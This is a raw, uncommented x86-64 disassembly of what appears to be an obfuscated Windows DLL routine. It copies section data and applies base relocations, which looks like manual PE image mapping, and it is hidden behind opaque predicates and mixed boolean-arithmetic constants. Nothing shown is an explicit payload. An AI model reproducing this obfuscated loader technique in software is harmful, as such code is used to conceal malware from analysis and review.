jne 0x180003aa0
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0xe25560ee
and eax, 0x1daa9f11
or eax, ecx
mov ecx, eax
xor ecx, 0x1daa9f11
xor eax, 0x40000042
and eax, 0x450a0f53
mov edx, ecx
and edx, 0xbaf5f0ac
or edx, eax
xor edx, 0xbaf5f0ad
and ecx, 0xfffffffe
or ecx, edx
mov eax, ecx
not eax
and eax, 0xef37209d
and ecx, 0x10c8df62
or ecx, eax
xor ecx, 0x10c8df62
sete dl
cmp r8d, 0xa
setl al
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
cmp al, dl
jne 0x180003c70
xor al, 1
or al, cl
xor al, 1
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
jne 0x180003c84
lea rax, [rdi + rdi*4]
mov ebx, dword [r9 + rax*8 + 0x10]
test rbx, rbx
je 0x180003180
mov ebp, dword [r9 + rax*8 + 0xc]
mov r10d, dword [r9 + rax*8 + 0x14]
lea r15, [r10 + rsi]
add r15, 0x404
mov rcx, qword [rsp + 0x28]
lea rdx, [rcx + rbp]
cmp ebx, 0x20
jb 0x180004620
mov qword [rsp + 0x78], rbp
lea rax, [rbx + rbp]
add rax, rcx
lea rbp, [r10 + rsi]
add rbp, 0x404
mov qword [rsp + 0x50], rbx
movabs rcx, 0xfa0e8bf3cb756ff1
mov rdi, rcx
sub rbx, rcx
movabs rcx, 0x9ec9964d528a98b1
sub rbx, rcx
add rbx, r10
add rbx, rcx
movabs rcx, 0xfcf350d70d0756ee
sub rbx, rcx
add rbx, rdi
add rbx, rcx
lea rcx, [0x180008404]
add rbx, rcx
cmp rdx, rbx
setb r8b
cmp rbp, rax
setb al
setae bl
xor bl, r8b
xor bl, 1
or al, r8b
xor al, 1
or al, bl
jne 0x180003ec0
xor al, 1
je 0x180003ec0
mov rbx, qword [rsp + 0x50]
jmp 0x180004620
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
lea rax, [rdi + rdi*4]
mov r10d, dword [r9 + rax*8 + 0x10]
test r10, r10
je 0x180004a5d
mov r8d, dword [r9 + rax*8 + 0xc]
mov edi, dword [r9 + rax*8 + 0x14]
lea r11, [rdi + rsi]
add r11, 0x404
mov rdx, qword [rsp + 0x28]
lea r15, [rdx + r8]
cmp r10d, 0x20
jb 0x180003d4d
movabs rbp, 0x5cfb4f75c44a01b3
lea rax, [r10 + rbp]
sub rbp, rax
movabs rcx, 0x60a8dac215568247
mov rax, rcx
sub rax, r8
sub rax, rcx
movabs rbx, 0xe4abbbc26d2b10b0
add rbp, rbx
add rbp, rax
sub rbx, rbp
add rbx, rdx
lea rbp, [rdi + rsi]
add rbp, 0x404
mov qword [rsp + 0x20], rdi
add rdi, r10
lea rax, [0x180008404]
add rdi, rax
cmp r15, rdi
setb r9b
setae sil
cmp rbp, rbx
setb bl
setae al
and al, sil
and bl, r9b
or bl, al
cmp bl, 1
jne 0x180003fd0
cmp r15, rdi
jae 0x180003fd0
mov al, 1
test al, al
je 0x180003fd0
movabs rcx, 0xce44e0cfa2fe1e41
movabs rdx, 0x9d07d95383a9b8f8
movabs r9, 0x610cb0b7668dc432
movabs rax, 0x59dde99742e2fbbc
mov rdi, r10
lea rbp, [r10 + rax]
movabs r8, 0xfdf6b58fba8f09
add rbp, r8
sub rbp, rax
not r8
add r8, rbp
mov rsi, r10
not rsi
mov rbp, rsi
and rbp, 0xfffffffffffffff8
mov ebx, edi
and ebx, 7
or rbx, rbp
xor rsi, rbx
and rsi, rbx
je 0x180003e10
xor ebx, ebx
mov rbp, rsi
movabs r12, 0x592e8585ffed1438
nop
add rdi, rcx
add rdi, rdx
sub rdi, rcx
mov rax, rdx
not rax
add rdi, rax
movzx eax, byte [r11 + rbx]
mov byte [r15 + rbx], al
mov rax, r12
sub rax, rbp
sub rax, r12
not rax
add rbx, 1
mov rbp, rax
cmp rsi, rbx
jne 0x180003dc0
add r11, rbx
add r15, rbx
sub r10, rbx
movabs r12, 0x3ca17eedfd496639
jmp 0x180003e13
mov r10, rdi
cmp r8, 7
movabs rcx, 0x37d0e0fc4e0eedfa
lea rsi, section..data
jb 0x180004a50
xor eax, eax
mov rbp, r10
nop word cs:[rax + rax]
nop dword [rax]
movzx ebx, byte [r11 + rax]
mov byte [r15 + rax], bl
movzx ebx, byte [r11 + rax + 1]
mov byte [r15 + rax + 1], bl
movzx ebx, byte [r11 + rax + 2]
mov byte [r15 + rax + 2], bl
movzx ebx, byte [r11 + rax + 3]
mov byte [r15 + rax + 3], bl
movzx ebx, byte [r11 + rax + 4]
mov byte [r15 + rax + 4], bl
movzx ebx, byte [r11 + rax + 5]
mov byte [r15 + rax + 5], bl
movzx ebx, byte [r11 + rax + 6]
mov byte [r15 + rax + 6], bl
add rbp, rcx
sub rbp, r9
sub rbp, rcx
add rbp, r9
add rbp, 0xfffffffffffffff8
movzx ebx, byte [r11 + rax + 7]
mov byte [r15 + rax + 7], bl
add rax, 8
cmp r10, rax
jne 0x180003e40
jmp 0x180004a50
lea r8, section..data
mov eax, 0xffffffe0
not eax
mov rcx, qword [rsp + 0x50]
mov ebx, ecx
not ebx
and eax, ebx
mov ebp, ecx
mov ecx, 0xffffffe0
and ebp, ecx
or ebp, eax
xor ebx, ebp
and ebx, ebp
movabs rax, 0xb2a8b28c1763c037
mov qword [rsp + 0x88], rbx
add rbx, rax
movabs rcx, 0x1b15d60429ae45cc
add rbx, rcx
sub rbx, rax
sub rbx, rcx
add rbx, 0xffffffffffffffe0
mov rax, rbx
shr rax, 5
movabs rcx, 0x1105fb9ad38f5220
mov rdi, rcx
add rax, rcx
movabs rcx, 0x14213b7778d0ad6f
mov rbp, rcx
sub rax, rcx
sub rax, rdi
movabs rcx, 0xf6241c7354d5eb27
sub rax, rcx
add rax, rbp
lea r9, [rcx + rax]
add r9, 1
mov rax, r9
not rax
movabs rcx, 0xa2afd003acf94ef7
mov rdi, rcx
and rdi, rax
mov rsi, rcx
not rsi
mov rbp, r9
and rbp, rsi
or rbp, rdi
mov edi, ecx
and edi, 3
and rsi, 0xfffffffffffffffc
or rsi, rdi
xor rsi, rbp
not rsi
or rsi, rax
movabs rcx, 0xe65848d44653abd4
mov rax, rcx
not rax
or rax, rcx
not rsi
and rsi, rax
cmp rbx, 0x60
mov qword [rsp + 0xa8], r10
mov qword [rsp + 0x80], rsi
jae 0x1800041a0
xor r10d, r10d
jmp 0x18000455e
mov rax, r10
not rax
movabs rbp, 0x104a5c4581b96c6f
and rax, rbp
not rbp
mov esi, ebp
mov qword [rsp + 0x48], r10
and esi, r10d
or rsi, rax
xor rsi, rbp
mov eax, 0xffffffe0
not rax
movabs rbp, 0xd98ab3226b5e4ef2
and rax, rbp
not rbp
mov edi, ebp
mov ebx, 0xffffffe0
and edi, ebx
or rdi, rax
xor rdi, rbp
movabs rcx, 0x60530c566e86ac8a
mov r9, rcx
not rcx
mov rbx, rsi
not rbx
mov rbp, rdi
not rbp
movabs rdx, 0x2223336d27d85f9
mov rax, rdx
not rax
mov r14, rbx
and r14, rdx
and rsi, rax
or rsi, r14
or rbx, rbp
and rbp, rdx
and rdi, rax
or rdi, rbp
xor rdi, rsi
not rbx
or rax, rdx
and rax, rbx
or rax, rdi
mov rsi, r9
and rsi, rcx
xor rcx, r9
or rcx, rsi
mov rsi, rax
not rsi
movabs rdi, 0x2397cf0520776df8
and rsi, rdi
not rdi
and rax, rdi
or rax, rsi
xor rax, rdi
xor rcx, rax
not rcx
and rcx, rax
movabs rdx, 0x67f9837541240166
mov qword [rsp + 0x60], rcx
lea rsi, [rdx + rcx]
movabs rcx, 0xa9ad83f8cf15bec5
mov r14, rcx
sub r14, rsi
movabs rax, 0x26883a9aadbb7dd3
mov rsi, rax
not rsi
movabs rbp, 0xb99f9c5a22368e8a
mov rbx, rbp
and rbx, rsi
not rbp
mov rdi, rax
and rdi, rbp
or rdi, rbx
xor rdi, rbp
movabs rbp, 0x5e17fdb618fc5b
mov r10, rbp
not r10
mov rbx, rsi
and rbx, rbp
and rax, r10
or rax, rbx
mov rbx, rdi
not rbx
or rsi, rbx
and rbx, rbp
and rdi, r10
or rdi, rbx
xor rdi, rax
add r14, rdx
neg r14
lea rax, [rcx + r14]
add rax, 0xffffffffffffffe0
not rsi
or r10, rbp
and r10, rsi
mov r12, rax
shr r12, 5
add r12, 1
or r10, rdi
mov rsi, r12
xor rsi, 3
not r10
or r10, rsi
mov rsi, r12
not rsi
and rsi, 0xfffffffffffffffc
or r10, rsi
movabs rcx, 0x3bc0360e5eaf4a8b
mov rsi, rcx
not rsi
or rsi, rcx
not r10
and r10, rsi
cmp rax, 0x60
movabs rdx, 0x737a1b6816dcf61f
mov qword [rsp + 0x58], r8
jae 0x1800047f0
xor r9d, r9d
jmp 0x1800049bc
movabs rax, 0xb55f07d550ab9af6
lea r14, [r9 + rax]
movabs rcx, 0x84383f05c0444c66
add r14, rcx
sub r14, rsi
sub r14, rcx
movabs rcx, 0x4a681a29fc632300
sub r14, rcx
sub r14, rax
add r14, rcx
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
add rax, rcx
mov qword [rsp + 0x48], rax
lea rax, [r10 + r8]
add rax, 0x414
mov qword [rsp + 0x58], rax
sub rsi, r9
mov qword [rsp + 0x60], rsi
mov r11, 0xffffffffffffffff
xor r10d, r10d
mov qword [rsp + 0x20], rdx
nop dword [rax]
mov rax, qword [rsp + 0x58]
movups xmm0, xmmword [rax + r10 - 0x10]
movups xmm1, xmmword [rax + r10]
mov rax, qword [rsp + 0x48]
movups xmmword [rax + r10 - 0x10], xmm0
movups xmmword [rax + r10], xmm1
mov rbp, r10
xor rbp, 0xffffffffffffffdf
and rbp, r10
mov eax, r11d
and eax, 0x20
mov rbx, r10
and rbx, 0xffffffffffffffdf
or rbx, rax
mov rax, rbp
not rax
mov rsi, rbx
not rsi
movabs rdx, 0x79187185560765bd
mov rdi, rdx
not rdi
mov rcx, rax
and rcx, rdx
and rbp, rdi
or rbp, rcx
or rax, rsi
and rsi, rdx
and rbx, rdi
or rbx, rsi
xor rbx, rbp
not rax
or rdi, rdx
and rdi, rax
or rdi, rbx
movups xmm0, xmmword [r15 + rdi]
movups xmm1, xmmword [r15 + rdi + 0x10]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + rdi], xmm0
mov rax, qword [rsp + 0x20]
movups xmmword [rax + rdi + 0x10], xmm1
movabs rcx, 0x17fd4ae75584592b
mov ebp, ecx
not ebp
mov eax, r11d
not eax
or ebp, ecx
and ebp, eax
and ebp, 0x40
mov eax, r11d
and eax, 0x40
mov rsi, r10
and rsi, 0xffffffffffffffbf
or rsi, rax
mov rdi, rbp
not rdi
movabs rdx, 0x49d14f90ae87ed3f
mov rax, rdx
not rax
and ebp, eax
mov ecx, edx
or ecx, eax
and rax, rsi
not rsi
mov rbx, rdi
and rbx, rdx
or rbp, rbx
or edi, esi
and rsi, rdx
or rax, rsi
xor rax, rbp
not edi
and ecx, edi
or rcx, rax
movups xmm0, xmmword [r15 + rcx]
movups xmm1, xmmword [r15 + rcx + 0x10]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + rcx], xmm0
mov rax, qword [rsp + 0x20]
movups xmmword [rax + rcx + 0x10], xmm1
movabs rcx, 0xaa9941954885a8f8
mov rax, rcx
and rax, r11
not rcx
mov rsi, r10
and rsi, rcx
or rsi, rax
xor rsi, rcx
movabs rcx, 0xbf14c274a9e12e45
mov rax, rcx
and rax, 0xffffffffffffff9f
not rcx
mov r8d, ecx
and r8d, 0x60
or r8, rax
xor r8, rcx
movabs rax, 0x4bf0b3b0fd9dc0e7
mov rbx, rax
mov rdx, rax
not rbx
mov rbp, r8
mov r9, rsi
and r9, r8
xor r8, rsi
not rsi
movabs rcx, 0x8f5f7a127f427720
mov rax, rcx
not rax
or rsi, rbx
or rax, rcx
not rsi
and rsi, rax
movabs rdi, 0x811530f971c8ae55
mov rax, rdi
not rax
mov rcx, r11
mov r12, rdx
or rcx, rdx
or rax, rdi
not rcx
and rcx, rax
not rbp
movabs rdi, 0x84237f6f95fc1b67
mov rax, rdi
not rax
or rbp, rbx
or rax, rdi
not rbp
and rbp, rax
movabs rdx, 0x6a8d7dcb92c3cd08
mov eax, edx
not eax
mov edi, r12d
not edi
or eax, edx
and eax, edi
and eax, 0x60
mov rdi, rsi
and rdi, rcx
xor rcx, rsi
or rcx, rdi
mov rsi, rbp
not rsi
mov rdi, rax
not rdi
movabs rdx, 0x2178289bfc729f30
mov r12, rdx
not r12
mov r13, rdi
or edi, esi
and rsi, rdx
and rbp, r12
or rbp, rsi
and r13, rdx
and eax, r12d
or rax, r13
xor rax, rbp
not edi
or r12d, edx
and r12d, edi
or r12, rax
mov rax, rcx
not rax
movabs rdi, 0xe1cf3c6d9f4017ff
and rax, rdi
mov rsi, rdi
not rsi
and rcx, rsi
or rcx, rax
and rsi, r12
not r12
and r12, rdi
or rsi, r12
xor rsi, rcx
or r8, r9
movabs rdx, 0x6e745956532be175
mov rax, rdx
not rax
mov rcx, rbx
and rcx, rdx
movabs rdi, 0x4bf0b3b0fd9dc0e7
mov rbp, rdi
and rbp, rax
or rbp, rcx
mov rcx, rdi
mov r9, rdi
and rcx, rdx
mov rdi, rbx
and rdi, rax
or rdi, rcx
xor rdi, rbp
or rbx, r9
not rbx
or rax, rdx
mov rdx, qword [rsp + 0x20]
and rax, rbx
or rax, rdi
not rax
or rax, r8
movabs rbp, 0xac5bbbcd109838e2
mov rcx, rbp
not rcx
or rcx, rbp
not rax
and rax, rcx
mov rcx, rsi
and rcx, rax
xor rax, rsi
or rax, rcx
movdqu xmm0, xmmword [r15 + rax]
movdqu xmm1, xmmword [r15 + rax + 0x10]
movdqu xmmword [rdx + rax], xmm0
movdqu xmmword [rdx + rax + 0x10], xmm1
movabs rax, 0x9dea79bb8734badf
mov rcx, rax
add r14, rax
movabs rbp, 0x48653922ba934f28
mov rax, rbp
sub rax, r14
sub r10, 0xffffffffffffff80
add rax, rcx
neg rax
lea r14, [rax + rbp]
add r14, 0xfffffffffffffffc
add r11, 0xffffffffffffff80
add qword [rsp + 0x60], 4
jne 0x180004210
mov rbp, qword [rsp + 0x80]
test rbp, rbp
lea r12, section..data
mov rsi, r12
mov rcx, qword [rsp + 0x78]
je 0x1800045b4
add rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0xa8]
add rax, rsi
add rax, 0x414
movdqu xmm0, xmmword [rax + r10 - 0x10]
movdqu xmm1, xmmword [rax + r10]
movdqu xmmword [rcx + r10 - 0x10], xmm0
movdqu xmmword [rcx + r10], xmm1
add r10, 0x20
add rbp, 0xffffffffffffffff
jne 0x180004590
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x88]
cmp rcx, rbx
mov r9, qword [rsp + 0x40]
movabs r11, 0xf9f9e0ed3167a8a0
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
movabs r12, 0x3ca17eedfd496639
mov rdi, qword [rsp + 0x38]
je 0x180003180
movabs rax, 0x96a967b39bc3de99
sub rbx, rax
sub rbx, rcx
add r15, rcx
add rdx, rcx
add rbx, rax
nop word cs:[rax + rax]
nop
movabs rax, 0x8055ce5e196e5ec4
mov rsi, rax
lea rcx, [rax + rbx]
movabs rax, 0xc8cffe60ea0101e1
mov r8, rax
sub r8, rcx
add r8, rsi
not r8
add r8, rax
mov rcx, rbx
not rcx
movabs rbp, 0x6bd22633e8b5a35d
and rcx, rbp
not rbp
mov rsi, rbx
and rsi, rbp
or rsi, rcx
xor rsi, rbp
movabs rbp, 0x606875928d553884
mov rcx, rbp
and rcx, 0xfffffffffffffff8
not rbp
mov r9, rbx
mov ebx, ebp
and ebx, 7
or rbx, rcx
xor rbx, rbp
movabs rax, 0xb0fed3ed2c9b35e
mov rdi, rax
not rdi
mov rcx, rsi
and rcx, rbx
xor rbx, rsi
or rbx, rcx
mov rcx, rax
and rcx, rdi
xor rdi, rax
or rdi, rcx
mov rcx, rbx
not rcx
movabs rbp, 0x7d3e49ed572254cd
and rcx, rbp
not rbp
and rbx, rbp
or rbx, rcx
xor rbx, rbp
not rbx
not rdi
or rdi, rbx
movabs rax, 0xd4672da88f85814d
mov rcx, rax
not rcx
or rcx, rax
not rdi
and rdi, rcx
je 0x180004760
xor ebx, ebx
mov r10, r9
mov rbp, rdi
nop word cs:[rax + rax]
nop dword [rax + rax]
mov rcx, r14
not rcx
add rcx, r9
add rcx, r14
movzx eax, byte [r15 + rbx]
mov byte [rdx + rbx], al
add rbp, r13
sub rbp, r12
sub rbp, r13
sub rbp, r11
add rbp, r12
add rbp, r11
add rbp, 0xffffffffffffffff
add rbx, 1
mov r9, rcx
cmp rdi, rbx
jne 0x180004710
add r15, rbx
add rdx, rbx
sub r10, rbx
jmp 0x180004763
mov r10, r9
cmp r8, 7
mov rdi, qword [rsp + 0x38]
lea rsi, section..data
mov r9, qword [rsp + 0x40]
jb 0x180003180
xor eax, eax
mov rbp, r10
nop word cs:[rax + rax]
nop dword [rax]
movzx ecx, byte [r15 + rax]
mov byte [rdx + rax], cl
movzx ecx, byte [r15 + rax + 1]
mov byte [rdx + rax + 1], cl
movzx ecx, byte [r15 + rax + 2]
mov byte [rdx + rax + 2], cl
movzx ecx, byte [r15 + rax + 3]
mov byte [rdx + rax + 3], cl
movzx ecx, byte [r15 + rax + 4]
mov byte [rdx + rax + 4], cl
movzx ecx, byte [r15 + rax + 5]
mov byte [rdx + rax + 5], cl
movzx ecx, byte [r15 + rax + 6]
mov byte [rdx + rax + 6], cl
add rbp, 0xfffffffffffffff8
movzx ecx, byte [r15 + rax + 7]
mov byte [rdx + rax + 7], cl
add rax, 8
cmp r10, rax
jne 0x180004790
jmp 0x180003180
mov rdi, rdx
movabs rax, 0x654ea660eaa304c9
add r12, rax
movabs rcx, 0x48433312e3652514
sub r12, rcx
sub r12, rax
movabs rax, 0x1e67bcf3aa673720
add r12, rax
mov r13, r10
sub r13, r12
sub r12, r10
sub r12, rax
add r12, rcx
mov rax, qword [rsp + 0x70]
lea r14, [rax + r8]
lea rax, section..data
mov rcx, qword [rsp + 0x20]
add rcx, rax
add rcx, 0x414
movabs rax, 0xd62489e0c702120c
add r13, rax
mov rax, 0xffffffffffffffff
xor r9d, r9d
nop word cs:[rax + rax]
nop dword [rax]
movabs rdx, 0x11ff5a9adfd91d04
mov ebx, edx
not ebx
mov ebp, eax
not ebp
or ebx, edx
and ebx, ebp
movabs rdx, 0x1b754664669b2538
mov rbp, rdx
and rbp, rax
mov r8, rdx
not r8
mov rsi, r9
and rsi, r8
or rsi, rbp
mov rbp, rdx
and rbp, 0xffffffffffffffdf
and r8d, 0x20
or r8, rbp
movups xmm0, xmmword [rcx + r9 - 0x10]
movups xmm1, xmmword [rcx + r9]
movups xmmword [r14 + r9 - 0x10], xmm0
movups xmmword [r14 + r9], xmm1
and ebx, 0x20
xor r8, rsi
mov ebp, r8d
and ebp, ebx
xor r8, rbx
or r8, rbp
movups xmm0, xmmword [r11 + r8]
movups xmm1, xmmword [r11 + r8 + 0x10]
movups xmmword [r15 + r8], xmm0
movups xmmword [r15 + r8 + 0x10], xmm1
mov rbp, rdi
and rbp, rax
mov rbx, rdi
not rbx
mov rsi, r9
and rsi, rbx
or rsi, rbp
mov rbp, rdi
and rbp, 0xffffffffffffffbf
and ebx, 0x40
or rbx, rbp
mov rdx, rdi
mov rdi, r9
xor rdi, 0xffffffffffffffbf
and rdi, r9
xor rbx, rsi
mov rbp, rdi
and rbp, rbx
xor rbx, rdi
or rbx, rbp
movups xmm0, xmmword [r11 + rbx]
movups xmm1, xmmword [r11 + rbx + 0x10]
movups xmmword [r15 + rbx], xmm0
movups xmmword [r15 + rbx + 0x10], xmm1
movabs rsi, 0x343511b50e7b0d6f
mov rbp, rsi
and rbp, rax
mov rbx, rsi
not rbx
mov rdi, r9
and rdi, rbx
or rdi, rbp
mov rbp, rsi
and rbp, 0xffffffffffffff9f
and ebx, 0x60
or rbx, rbp
mov rbp, r9
xor rbp, 0xffffffffffffff9f
and rbp, r9
xor rbx, rdi
mov rdi, rbp
and rdi, rbx
xor rbx, rbp
or rbx, rdi
mov rdi, rdx
movdqu xmm0, xmmword [r11 + rbx]
movdqu xmm1, xmmword [r11 + rbx + 0x10]
movdqu xmmword [r15 + rbx], xmm0
movdqu xmmword [r15 + rbx + 0x10], xmm1
sub r9, 0xffffffffffffff80
add r12, 0xfffffffffffffffc
add rax, 0xffffffffffffff80
add r13, 4
jne 0x180004870
test r10, r10
lea r12, section..data
mov rsi, r12
mov rcx, qword [rsp + 0x58]
je 0x180004a14
add rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x20]
add rax, rsi
add rax, 0x414
nop word cs:[rax + rax]
nop dword [rax]
movdqu xmm0, xmmword [rax + r9 - 0x10]
movdqu xmm1, xmmword [rax + r9]
movdqu xmmword [rcx + r9 - 0x10], xmm0
movdqu xmmword [rcx + r9], xmm1
add r9, 0x20
add r10, 0xffffffffffffffff
jne 0x1800049f0
mov r10, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
cmp rcx, r10
movabs r14, 0xf00da068572ac78c
movabs r13, 0x6613f75b34371890
movabs r9, 0x610cb0b7668dc432
movabs r12, 0x3ca17eedfd496639
jne 0x180004af8
nop
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
movabs rax, 0x10abf882c9a138a4
mov rdx, rax
mov rdi, qword [rsp + 0x38]
add rax, rdi
movabs rcx, 0x23188dbcfee72a95
add rax, rcx
sub rax, rdx
sub rax, rcx
add rax, 1
lea ecx, [rbp - 1]
imul ecx, ebp
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x94850a16
and ecx, 0x6b7af5e9
or ecx, ebx
xor ecx, 0x6b7af5e8
xor edx, ecx
test edx, ecx
sete dl
setne r9b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
and dl, bl
or bl, r9b
xor bl, 1
and cl, r9b
or cl, dl
test bl, cl
jne 0x180002750
xor bl, cl
mov ecx, 1
jne 0x180002750
mov r9, qword [rsp + 0x40]
movabs r11, 0xf9f9e0ed3167a8a0
jmp 0x18000315d
movabs rbp, 0x6b07da440bd63b06
lea rax, [rcx + rbp]
sub rbp, rax
add r11, rcx
add r15, rcx
add r10, rbp
movabs rcx, 0xce44e0cfa2fe1e41
movabs rdx, 0x9d07d95383a9b8f8
jmp 0x180003d6b
movabs rax, 0x7d2f0508d37e415f
mov r11, rax
mov rcx, qword [rsp + 0x98]
sub r11, qword [rcx + 0x30]
sub r11, rax
mov r14d, dword [rcx + 0xb0]
mov rax, qword [rsp + 0x28]
add r14, rax
add r11, rax
movabs r13, 0x670f721db0e16913
movabs r15, 0x56ebddd0a42a001e
movabs r10, 0x4486f66310f28eb3
jmp 0x180004b95
xor edx, edx
cmp qword [rsp + 0x50], 0
jne 0x180001eb6
jmp 0x180001f8c
mov esi, dword [r14 + 4]
mov eax, esi
add r14, rax
lea eax, [rbp - 1]
imul eax, ebp
mov edx, eax
not edx
and edx, 0x67cdbb6
and eax, 0xf9832449
or eax, edx
mov edx, eax
xor edx, 0xf9832448
and edx, 0xfffffffe
xor eax, 0x67cdbb7
or eax, edx
cmp eax, 0xffffffff
sete sil
setne dl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl bl
mov ecx, ebx
xor cl, dl
and cl, bl
and al, sil
and bl, dl
or bl, al
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
cmp bl, 1
jne 0x180005320
nop word cs:[rax + rax]
nop
test bl, bl
je 0x180005320
cmp dword [r14], 0
je 0x18000534a
mov esi, dword [r14 + 4]
cmp rsi, 8
jb 0x180004b90
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete bl
setne cl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl dl
and dl, cl
and bl, al
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
cmp bl, cl
jne 0x180004c71
xor bl, 1
or bl, al
xor bl, 1
je 0x180005330
movabs rax, 0xe830c42c71abf4f4
add rsi, rax
movabs rcx, 0x1fffffff8
add rsi, rcx
sub rsi, rax
shr rsi, 1
mov rax, rsi
not rax
movabs rcx, 0xb712258bf1d131cd
and rax, rcx
not rcx
and rsi, rcx
or rsi, rax
xor rsi, rcx
mov eax, 0xffffffe0
lea r12, [rax + 0x1f]
mov rcx, r12
not rcx
movabs rax, 0xcff949e1b1a12c38
mov rbx, rax
not rbx
mov rdx, rsi
not rdx
movabs r9, 0xf4b66c161a7aaf24
mov rdi, r9
not rdi
mov rax, rdx
and rax, r9
and rsi, rdi
or rsi, rax
or rdx, r12
and r12, r9
and rcx, rdi
or rcx, r12
xor rcx, rsi
not rdx
or rdi, r9
and rdi, rdx
or rdi, rcx
movabs rax, 0x7792b2792d28cca7
mov r9, rax
mov rsi, rax
not rsi
mov rax, rbx
and rax, r9
movabs rdx, 0xcff949e1b1a12c38
mov rcx, rdx
and rcx, rsi
or rcx, rax
mov rax, rdx
mov r12, rdx
and rax, r9
mov rdx, rbx
and rdx, rsi
or rdx, rax
xor rdx, rcx
or rbx, r12
not rbx
or rsi, r9
and rsi, rbx
or rsi, rdx
not rsi
or rsi, rdi
movabs rcx, 0x9e66c967c87657d7
mov rax, rcx
not rax
or rax, rcx
not rsi
and rsi, rax
mov qword [rsp + 0x20], rsi
xor r12d, r12d
nop word cs:[rax + rax]
nop dword [rax]
cmp r12, qword [rsp + 0x20]
je 0x180004b8c
movzx ecx, word [r14 + r12*2 + 8]
mov eax, ecx
shr eax, 0xc
mov esi, ecx
not esi
mov edx, esi
and edx, 0x7376cb56
mov edi, ecx
and edi, 0x34a9
or edi, edx
xor edi, 0x8c893b56
xor esi, edi
and esi, edi
cmp ecx, 0xa000
jae 0x180004ee0
cmp eax, 3
jne 0x180005250
mov eax, dword [r14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax*4]
mov esi, esi
add dword [rax + rsi*4], r11d
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
or al, dl
mov edx, eax
xor dl, 1
xor bl, cl
cmp dl, bl
jne 0x180005250
xor bl, 1
or al, bl
xor al, 1
jne 0x180005250
mov rax, qword [rsp + 0x28]
lea rsi, [rax + rsi*4]
nop dword [rax]
mov eax, dword [r14]
add dword [rsi + rax*4], r11d
mov eax, dword [r14]
add dword [rsi + rax*4], r11d
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0xfffffffe
xor eax, 1
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x45c8fa43
and eax, 0xba3705bc
or eax, ecx
xor eax, 0xba3705bc
setne cl
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
cmp bl, cl
jne 0x180005250
xor bl, 1
or bl, al
xor bl, 1
je 0x180004e50
jmp 0x180005250
cmp eax, 0xa
movabs rdi, 0xebff743ad8ba453f
jne 0x180005250
mov eax, dword [r14]
mov esi, esi
movabs rcx, 0xd5dda7c9d4d96eaf
sub rsi, rcx
movabs rdx, 0xab2b7726ac02bc60
add rsi, rdx
add rsi, rcx
movabs rcx, 0x9ca83dc33a9ee6f1
sub rsi, rcx
add rsi, qword [rsp + 0x28]
add rsi, rcx
movabs rcx, 0x3643275d125e4601
sub rsi, rcx
sub rsi, rdx
add rsi, rcx
movabs rcx, 0x79a19496b56b2edc
mov rdx, rcx
add rcx, rsi
movabs rbp, 0x38157fca6207169
mov rbx, rbp
add rcx, rbp
sub rcx, rdx
add rcx, rax
movabs rax, 0xc66701dd87fda6a2
mov rbp, rax
sub rcx, rax
sub rcx, rbx
mov rax, qword [rcx + rax]
movabs rdx, 0xfca2c62164731aa7
sub rax, rdx
movabs rbx, 0x631e26e7a24476a6
mov r8, rbx
add rax, rbx
add rax, rdx
add rax, r11
movabs rbx, 0xbd9599806f9ccd9f
mov rdx, rbx
sub rdx, rax
add rdx, r8
mov rax, rbx
sub rax, rdx
mov qword [rcx + rbp], rax
mov ebp, dword [0x180025458]
mov r8d, dword [0x18002545c]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
and ecx, 0xdd2dabb2
and eax, 0x22d2544d
or eax, ecx
mov ecx, eax
xor ecx, 0x22d2544c
and ecx, 0xfffffffe
xor eax, 0xdd2dabb3
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xaf4bd2b3
and eax, 0x50b42d4c
or eax, ecx
xor eax, 0x50b42d4c
sete bl
setne cl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl dl
and dl, cl
and bl, al
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
cmp bl, cl
jne 0x180005250
xor bl, 1
or bl, al
xor bl, 1
jne 0x180005250
nop word cs:[rax + rax]
nop dword [rax]
lea eax, [rbp - 1]
imul eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9d1730bd
and eax, 0x62e8cf42
or eax, edx
xor eax, 0x62e8cf43
xor ecx, eax
